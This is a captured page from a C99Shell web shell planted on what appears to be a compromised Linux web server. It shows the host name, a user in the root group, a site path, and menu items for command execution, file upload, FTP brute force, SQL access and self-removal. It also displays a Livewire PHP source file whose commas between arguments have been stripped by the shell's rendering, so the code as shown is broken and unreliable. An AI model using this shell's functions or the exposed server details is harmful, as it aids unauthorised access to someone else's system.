!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/livewire/livewire/src/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ComponentHookRegistry.php (3.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire;

use 
WeakMap;
use 
Livewire\Drawer\Utils;

class 
ComponentHookRegistry
{
    protected static 
$components;

    protected static 
$componentHooks = [];

    static function 
register($hook)
    {
        if (
method_exists($hook'provide')) $hook::provide();

        if (
in_array($hook, static::$componentHooks)) return;

        static::
$componentHooks[] = $hook;
    }

    static function 
getHook($component$hook)
    {
        if (! isset(static::
$components[$component])) return;

        
$componentHooks = static::$components[$component];

        foreach (
$componentHooks as $componentHook) {
            if (
$componentHook instanceof $hook) return $componentHook;
        }
    }

    static function 
boot()
    {
        static::
$components = new WeakMap;

        foreach (static::
$componentHooks as $hook) {
            
on('mount', function ($component$params$key$parent) use ($hook) {
                if (! 
$hook = static::initializeHook($hook$component)) {
                    return;
                }

                
$hook->callBoot();
                
$hook->callMount($params$parent);
            });

            
on('hydrate', function ($component$memo) use ($hook) {
                if (! 
$hook = static::initializeHook($hook$component)) {
                    return;
                }

                
$hook->callBoot();
                
$hook->callHydrate($memo);
            });
        }

        
on('update', function ($component$fullPath$newValue) {
            
$propertyName Utils::beforeFirstDot($fullPath);

            return static::
proxyCallToHooks($component'callUpdate')($propertyName$fullPath$newValue);
        });

        
on('call', function ($component$method$params$addEffect$earlyReturn) {
            return static::
proxyCallToHooks($component'callCall')($method$params$earlyReturn);
        });

        
on('render', function ($component$view$data) {
            return static::
proxyCallToHooks($component'callRender')($view$data);
        });

        
on('dehydrate', function ($component$context) {
            static::
proxyCallToHooks($component'callDehydrate')($context);
        });

        
on('destroy', function ($component$context) {
            static::
proxyCallToHooks($component'callDestroy')($context);
        });

        
on('exception', function ($target$e$stopPropagation) {
            if (
$target instanceof \Livewire\Component) {
                static::
proxyCallToHooks($target'callException')($e$stopPropagation);
            }
        });
    }

    static public function 
initializeHook($hook$target)
    {
        if (! isset(static::
$components[$target])) static::$components[$target] = [];

        
$hook = new $hook;

        
$hook->setComponent($target);

        
// If no `skip` method has been implemented, then boot the hook anyway
        
if (method_exists($hook'skip') && $hook->skip()) {
            return;
        }

        static::
$components[$target][] = $hook;

        return 
$hook;
    }

    static function 
proxyCallToHooks($target$method) {
        return function (...
$params) use ($target$method) {
            
$callbacks = [];

            foreach (static::
$components[$target] ?? [] as $hook) {
                
$callbacks[] = $hook->{$method}(...$params);
            }

            return function (...
$forwards) use ($callbacks) {
                foreach (
$callbacks as $callback) {
                    
$callback(...$forwards);
                }
            };
        };
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--